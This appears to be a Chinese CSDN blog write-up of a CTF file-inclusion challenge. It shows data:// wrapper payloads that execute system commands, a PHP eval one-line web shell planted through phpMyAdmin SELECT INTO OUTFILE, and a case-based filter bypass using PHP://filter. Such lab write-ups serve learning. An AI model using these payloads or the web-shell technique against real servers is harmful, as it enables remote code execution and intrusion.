攻防世界-web-Web_php_include(文件包含与伪协议)

文章介绍了如何利用PHP代码注入,通过data://伪协议在禁止php://的情况下执行命令,包括使用base64编码规避过滤,并提到了phpmyadmin的登录与一句话木马的使用。此外,还讨论了大小写过滤的绕过策略。
摘要由CSDN通过智能技术生成

打开页面是下面一段代码

<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
    $page=str_replace("php://", "", $page);
}
include($page);
?>

从代码中得知,page参数中带有php://的都会被替换成空。

strstr() 函数搜索字符串在另一字符串中是否存在,如果是,返回该字符串及剩余部分,否则返回 FALSE。(区分大小写)。
str_replace() 函数以其他字符替换字符串中的一些字符(区分大小写)。

方法一(data://伪协议执行命令利用)

既然过滤了php://的伪协议,我们可以使用其他协议,这里使用data://伪协议。

data://伪协议

条件:

  • allow_url_fopen:on
  • allow_url_include:on

作用:

  • 自php>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。

用法:

  • data://text/plain,xxx(数据)
  • data://text/plain;base64,xxxx(base64编码后的数据)

1.1 使用data://text/plain,xxx(数据)

payload:

/?page=data://text/plain,<?php system("ls")?>

/?page=data://text/plain,<?php system("cat fl4gisisish3r3.php")?> 

1.2 使用data://text/plain;base64,xxxx(base64编码后的数据)

首先,查看本目录中是否有flag相关文件。

将 <?php system("ls")?> 先进行base64编码再urlencode后,构造data://伪协议,payload如下

/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4%3D

发现本目录中有3个文件,猜测其中fl4gisisish3r3.php为包含flag的文件。

然后,尝试查看fl4gisisish3r3.php内容,得到flag。

将 <?php system("cat fl4gisisish3r3.php")?> 先进行base64编码再urlencode后,构造data://伪协议,payload如下

/?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmw0Z2lzaXNpc2gzcjMucGhwIik%2FPg%3D%3D

这里有一个坑,将以上payload复制到url中回车后,页面上并没有显示出flag。F12查看元素可以看到注释中的flag(如上图所示)。或者直接抓包也可以在响应中查看到flag(如下图所示)。

方法二(御剑+菜刀)

通过御剑扫描后台目录,发现了phpmyadmin登录地址

直接root登录,密码为空,登录成功。

写入一句话木马

SELECT "<?php eval(@$_POST['muma']); ?>"
INTO OUTFILE '/tmp/test1.php'

菜刀连接就行了 ,flag 在 www 下(竟然没连上,不知道为啥。。。) 

方法三(php://伪协议、大小写过滤)

由于strstr()函数和函数都是区分大小写的,那么我们完全可以使用大写的PHP://来绕过过滤。

如下图,使用PHP://input执行命令失败了,理论上不应该啊

下图使用PHP://filter读取文件倒是成功了。

/?page=PHP://filter/read=convert.base64-encode/resource=fl4gisisish3r3.php

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值